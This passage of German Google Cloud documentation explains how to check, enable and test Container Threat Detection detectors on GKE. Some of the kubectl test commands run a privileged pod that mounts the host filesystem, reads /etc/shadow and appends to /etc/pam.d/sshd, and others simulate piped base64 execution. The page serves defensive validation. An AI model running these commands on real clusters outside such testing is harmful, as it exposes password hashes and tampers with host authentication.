Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Damit Ergebnisse von Container Threat Detection angezeigt werden können, muss Container Threat Detection in den Diensten-Einstellungen von Security Command Center aktiviert sein.

Hinweis

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden. Wenn Sie die Bedrohungserkennung auf ARM testen möchten, benötigen Sie einen Cluster mit einem Knotenpool, der ARM-Instanzen enthält. Weitere Informationen finden Sie unter Arm-Arbeitslasten in GKE.

Status eines Detektors prüfen

Sie können nur aktivierte Detektoren testen. Bevor Sie einen Detektor testen, prüfen Sie, ob er aktiviert ist.

Console

Wenn der Container Threat Detection-Dienst aktiviert ist, können Sie den Aktivierungsstatus der einzelnen Module festlegen.

  1. Rufen Sie in der Google Cloud Console die Seite Module für Container Threat Detection auf.

    Zu den Modulen

  2. Wählen Sie Ihre Organisation oder das Projekt aus.
  3. Wählen Sie auf dem Tab Module in der Spalte Status den aktuellen Status des Moduls aus, das Sie aktivieren oder deaktivieren möchten, und wählen Sie dann eine der folgenden Optionen aus:
    • Aktivieren: Aktivieren Sie das Modul.
    • Deaktivieren: Deaktiviert das Modul.

gcloud

Mit dem Befehl gcloud scc manage services describe wird der Status eines Security Command Center-Dienstes oder -Moduls abgerufen.

Ersetzen Sie folgende Werte, bevor sie einen der Befehlsdaten verwenden:

  • RESOURCE_TYPE: der Typ der abzurufenden Ressource (organization, folder oder project)
  • RESOURCE_ID: die numerische Kennung für die Organisation, den Ordner oder das Projekt, die bzw. das abgerufen werden soll. Für Projekte können Sie auch die alphanumerische Projekt-ID verwenden.

Führen Sie den Befehl gcloud scc manage services describe aus:

Linux, macOS oder Cloud Shell

gcloud scc manage services describe container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID

Windows (PowerShell)

gcloud scc manage services describe container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID

Windows (cmd.exe)

gcloud scc manage services describe container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID

Sie sollten eine Antwort ähnlich der folgenden erhalten: Der Einfachheit halber zeigt dieses Beispiel nur einen Teil aller Container Threat Detection-Module.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Mit der Methode RESOURCE_TYPE.locations.securityCenterServices.get der Security Command Center Management API wird der Status eines Security Command Center-Dienstes oder -Moduls abgerufen.

Ersetzen Sie diese Werte in den folgenden Anfragedaten:

  • RESOURCE_TYPE: der Typ der abzurufenden Ressource (organizations, folders oder projects).
  • QUOTA_PROJECT: die Projekt-ID, die für die Abrechnung und das Kontingent-Tracking verwendet werden soll.
  • RESOURCE_ID: die numerische Kennung für die Organisation, den Ordner oder das Projekt, die bzw. das abgerufen werden soll. Für Projekte können Sie auch die alphanumerische Projekt-ID verwenden.

HTTP-Methode und URL:

GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection

Wenn Sie die Anfrage senden möchten, maximieren Sie eine der folgenden Optionen:

Sie sollten eine Antwort ähnlich der folgenden erhalten: Der Einfachheit halber zeigt dieses Beispiel nur einen Teil aller Container Threat Detection-Module.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Detektoren aktivieren

Wenn ein Detektor deaktiviert ist und Sie ihn testen möchten, müssen Sie ihn zuerst aktivieren.

Einige Detektoren sind standardmäßig deaktiviert. Weitere Informationen finden Sie unter Deaktivierte Detektoren.

Console

Wenn der Container Threat Detection-Dienst aktiviert ist, können Sie den Aktivierungsstatus der einzelnen Module festlegen.

  1. Rufen Sie in der Google Cloud Console die Seite Module für Container Threat Detection auf.

    Zu den Modulen

  2. Wählen Sie Ihre Organisation oder das Projekt aus.
  3. Wählen Sie auf dem Tab Module in der Spalte Status den aktuellen Status des Moduls aus, das Sie aktivieren oder deaktivieren möchten, und wählen Sie dann eine der folgenden Optionen aus:
    • Aktivieren: Aktivieren Sie das Modul.
    • Deaktivieren: Deaktiviert das Modul.

gcloud

Mit dem Befehl gcloud scc manage services update wird der Status eines Security Command Center-Dienstes oder ‑Moduls aktualisiert.

Ersetzen Sie folgende Werte, bevor sie einen der Befehlsdaten verwenden:

  • RESOURCE_TYPE: der zu aktualisierende Ressourcentyp (organization, folder oder project).
  • RESOURCE_ID: die numerische Kennung für die Organisation, den Ordner oder das Projekt, die bzw. das aktualisiert werden soll. Für Projekte können Sie auch die alphanumerische Projekt-ID verwenden.
  • MODULE_NAME: der Name des Moduls, das aktiviert oder deaktiviert werden soll. Gültige Werte finden Sie unter Container Threat Detection-Detektoren.

Speichern Sie den folgenden Inhalt in einer Datei mit dem Namen request.json:

{
  "MODULE_NAME": {
    "intendedEnablementState": "ENABLED"
  }
}

Führen Sie den Befehl gcloud scc manage services update aus:

Linux, macOS oder Cloud Shell

gcloud scc manage services update container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID \
    --module-config-file=request.json

Windows (PowerShell)

gcloud scc manage services update container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID `
    --module-config-file=request.json

Windows (cmd.exe)

gcloud scc manage services update container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID ^
    --module-config-file=request.json

Sie sollten eine Antwort ähnlich der folgenden erhalten: Der Einfachheit halber zeigt dieses Beispiel nur einen Teil aller Container Threat Detection-Module.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Mit der Methode RESOURCE_TYPE.locations.securityCenterServices.patch der Security Command Center Management API wird der Status eines Security Command Center-Dienstes oder ‑Moduls aktualisiert.

Ersetzen Sie diese Werte in den folgenden Anfragedaten:

  • RESOURCE_TYPE: der zu aktualisierende Ressourcentyp (organizations, folders oder projects).
  • QUOTA_PROJECT: die Projekt-ID, die für die Abrechnung und das Kontingent-Tracking verwendet werden soll.
  • RESOURCE_ID: die numerische Kennung für die Organisation, den Ordner oder das Projekt, die bzw. das aktualisiert werden soll. Für Projekte können Sie auch die alphanumerische Projekt-ID verwenden.
  • MODULE_NAME: der Name des Moduls, das aktiviert oder deaktiviert werden soll. Gültige Werte finden Sie unter Container Threat Detection-Detektoren.

HTTP-Methode und URL:

PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules

JSON-Text anfordern:

{
  "modules": {
    "MODULE_NAME": {
      "intendedEnablementState": "ENABLED"
    }
  }
}

Wenn Sie die Anfrage senden möchten, maximieren Sie eine der folgenden Optionen:

Sie sollten eine Antwort ähnlich der folgenden erhalten: Der Einfachheit halber zeigt dieses Beispiel nur einen Teil aller Container Threat Detection-Module.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Umgebungsvariablen festlegen

Verwenden Sie zum Testen von Detektoren die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

  1. Rufen Sie die Google Cloud Console auf.

    Rufen Sie die Google Cloud Console auf.

  2. Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.

  3. Klicken Sie auf Google Cloud Shell aktivieren. 

  4. Legen Sie in Cloud Shell Umgebungsvariablen fest:

    1. Die Zone, in der sich der Cluster befindet:

      export ZONE=CLUSTER_ZONE
      
    2. Das Projekt, in dem sich der Container befindet:

      export PROJECT=PROJECT_ID
      
    3. Ihr Clustername:

      export CLUSTER_NAME=CLUSTER_NAME
      

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn dieses Image auf Ubuntu 24.04 basiert und Container unveränderlich sein sollen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Binärdatei ab und führen Sie sie aus:

    • x86-Knoten:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • ARM-Knoten:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Bei diesem Testverfahren wird das Ergebnis „Added Binary Executed“ erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Added Binary Executed“ heraus. Wenn Sie alle Ergebnisse vom Typ „Added Binary Executed“ sehen möchten, die beim Einrichten eines Containers gefunden wurden, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel gezeigt.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn dieses Image auf Ubuntu 24.04 basiert und Container unveränderlich sein sollen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Mediathek ab und laden Sie sie mit ld:

    • x86-Knoten:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • ARM-Knoten:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Bei diesem Testverfahren wird ein Ergebnis vom Typ „Added Library Loaded“ erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim Erstellen eines Containers vorübergehend die Ergebnisse für „Added Library Loaded“ heraus. Wenn Sie alle Ergebnisse vom Typ „Added Library Loaded“ beim Einrichten eines Containers sehen möchten, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel gezeigt.

Sammlung: Pam.d-Änderung (Vorschau)

Wenn Sie eine pam.d-Änderungserkennung auslösen möchten, ändern Sie eine der PAM-bezogenen Dateien des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Root-Dateisystem des Hosts im Container bereitgestellt und dann /etc/pam.d/sshd geändert.

Dies ist ein Detektor für das Dateimonitoring und unterliegt spezifischen GKE-Versionsanforderungen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei aus, die eine der PAM-bezogenen Dateien auf dem Host ändert.

    • x86-Knoten:

      tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • ARM-Knoten:

      tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Dieses Testverfahren löst ein Ergebnis für eine pam.d-Änderung aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging ansehen können. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Command and Control: Codeausführung mit Pipe-Codierung

Damit ein Command and Control: Piped Encoded Code Execution-Ergebnis ausgelöst wird, muss ein Binärprogramm, das Code ausführen kann, z. B. python, einen base64-Decodierungsbefehl enthalten, der in seine Ausführung geleitet wird. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird echo verwendet, um einen codierten String, der Hello World ausgibt, an die ausführbare Datei python zu übergeben. Dieses Verhalten wird als verdächtig gekennzeichnet, da es auf den Versuch eines Angreifers hinweisen kann, ein schädliches Skript auszuführen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Decodieren Sie einen base64-codierten String und leiten Sie ihn an python weiter:

    • x86-Knoten:

      tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
      

Bei diesem Testverfahren wird ein Command and Control: Piped Encoded Code Execution-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Command and Control: Download mit Pipe-Codierung

Damit ein Command and Control: Piped Encoded Download-Ergebnis ausgelöst wird, muss eine ausführbare Datei wie curl an einen base64-Decodierungsbefehl weitergeleitet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. /bin/echo wird kopiert und in curl umbenannt. Anschließend wird ein simulierter curl-Aufruf an base64 weitergeleitet. Dieses Verhalten wird als verdächtig gekennzeichnet, da es auf einen Versuch hindeuten kann, ein schädliches Script herunterzuladen und zu decodieren, das später von einem Angreifer verwendet werden kann.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie einen curl-Aufruf aus und leiten Sie ihn an base64 -d weiter:

    • x86-Knoten:

      tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
      

Bei diesem Testverfahren wird ein Command and Control: Piped Encoded Download-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Command and Control: Steganographie-Tool erkannt

Damit ein Command and Control: Steganography Tool Detected-Ergebnis (Vorschau) ausgelöst wird, muss eine Binärdatei mit Dateimanipulationsfunktionen, die mit Steganografietools konsistent sind, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in steghide (oder ein anderes Steganografie-Tool wie stegano) um. Dieses Verhalten wird als verdächtig gekennzeichnet, da es auf einen Versuch hindeuten kann, einen Container für das Verbergen oder Extrahieren von Daten vorzubereiten, möglicherweise für böswillige Zwecke.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei eines Steganografie-Tools wie steghide aus:

    • x86-Knoten:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • ARM-Knoten:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Bei diesem Testverfahren wird ein Command and Control: Steganography Tool Detected-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Zugriff auf vertrauliche Dateien auf Knoten (Vorschau)

Um eine Erkennung des Zugriffs auf vertrauliche Dateien auszulösen, lesen Sie die Datei /etc/shadow des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Root-Dateisystem des Hosts im Container bereitgestellt und dann /etc/shadow mit cat gelesen.

Dies ist ein Detektor für das Dateimonitoring und unterliegt spezifischen GKE-Versionsanforderungen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei aus, die die Datei /etc/shadow des Hosts liest.

    • x86-Knoten:

      tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • ARM-Knoten:

      tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Dieses Testverfahren löst ein Ergebnis vom Typ „Zugriff auf sensible Datei“ aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zugriff auf Anmeldedaten: Google Cloud -Anmeldedaten finden

Damit ein Credential Access: Find Google Cloud Credentials-Ergebnis ausgelöst wird, muss eine Binärdatei, die Dateiinhalte durchsuchen kann, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. /bin/ls wird kopiert und in grep umbenannt. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf eine Form von Google Cloud -Anmeldedaten hinweist. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch, Google Cloud -Anmeldedaten zu finden, beobachtet wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      
    • ARM-Knoten:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      

Bei diesem Testverfahren wird ein Credential Access: Find Google Cloud Credentials-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

